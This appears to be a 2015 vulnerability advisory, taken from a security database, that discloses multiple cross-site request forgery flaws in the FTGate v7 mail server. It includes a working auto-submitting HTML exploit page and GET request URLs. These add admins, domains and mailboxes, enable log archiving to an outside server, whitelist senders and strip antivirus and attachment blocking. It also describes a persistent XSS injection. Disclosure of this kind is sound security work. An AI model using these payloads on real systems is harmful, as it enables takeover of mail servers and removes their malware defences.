FTGate 7 - Cross-Site Request Forgery

🗓️ 02 Oct 2015 00:00:00Reported by hyp3rlinxType
FTGate v7 CSRF vulnerability allows for remote attacks to add domains, enable remote archiving, whitelist emails, modify mailboxes, and remove file blocking. Exploit codes include forms to perform the attacks
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-V7-CSRF.txt


Vendor:
================================
www.ftgate.com
www.ftgate.com/ftgate-update-7-0-300


Product:
================================
FTGate v7


Vulnerability Type:
=================================
Cross site request forgery (CSRF)


CVE Reference:
==============
N/A


Vulnerability Details:
=====================
Multiple CSRF vectors exists within FTGate v7 allowing the following attacks
www.ftgate.com/ftgate-update-7-0-300

1) add arbitrary domains
2) enable arbitrary remote archiving of logs
3) whitelist arbitrary email addresses
4) add arbitrary mailbox & disable antivirus,
5) remove email attachment blocking for filez.


Exploit code(s):
===============

<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>

1) add arbitrary remote domain:

<form id='HELL' action="
http://localhost:8089/v7/wizards/adddomain.fts?action=save&id="
method="post">
<input type="text" name="name" value="abysmalgodz" />
<input type="text" name="type" value="1" />
</form>


2) enable arbitrary remote archive:

<form id='HELL' action="
http://localhost:8089/v7/webadmin/config/archive.fts?action=save"
method="post">
<input type="text" name="action" value="save" />
<input type="text" name="enable" value="on" />
<input type="text" name="duration" value="0" />
<input type="text" name="external" value="on" />
<input type="text" name="extarcserver" value="0.6.6.6" />
</form>

disable Antivirus for .exe files: also, has a persistent XSS inject but our
payload gets truncated at 5 chars,
but can corrupt the loading of valid XML returned from database to the WEB
UI.

e.g.

HTTP response after attack outputs corrupted XML generating errors.

<cell>exe</cell>
<cell/>
<cell><scri</cell>
<cell/>
</row>
<row id='id_"/><s'>

http://localhost:8089/v7/axml/adminlists.fts?table=ext&add=exe


<form id='HELL' action="
http://localhost:8089/v7/webadmin/filters/virus.fts?action=save&mailbox="
method="post">
<input type="text" name="mode" value="on" />
<input type="text" name="selftest" value="0ff" />
<input type="text" name="extGrid_id_exe_0" value="1" />
</form>


add arbitrary Admins:

http://localhost:8089/v7/axml/adminlists.fts?table=admin&add=ghostofsin

whitelist arbitrary email addresses:

Messages that originate from these email addresses are not filtered by the
Word or Phrase filters.

http://localhost:8089/v7/axml/whitelist.fts?id=531&[email protected]

<!--remove email attachment blocking for exe, hta & html filez -->

http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3

when access the above URL it returns XML with all file extensions blocked
on incoming email, we now know ID in database.
so to remove blocking of .cmd we select '11'

http://localhost:8089/v7/axml/attachments.fts?id=531&remove=11

or remove blocking of multiple file types in one shot
http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3


add arbitrary mailbox:

<form id='HELL' action="
http://localhost:8089/v7/wizards/addmailbox.fts?action=save&id=500"
method="post">
<input type="text" name="name" value="punksnotdead" />
<input type="text" name="type" value="0" />
<input type="text" name="cn" value="punksnotdead" />
<input type="text" name="password" value="punksnotdead" />
</form>

</body>
</html>


Disclosure Timeline:
========================================
Vendor Notification: September 29, 2015
October 1, 2015 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
High


Description:
==========================================================
Request Method(s):              [+]  GET

Vulnerable Product:             [+]  FTGate v7

Vulnerable Parameter(s):        [+]  type, id, mode, add, extarcserver

===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
02 Oct 2015 00:00Current
7.4High risk
Vulners AI Score7.4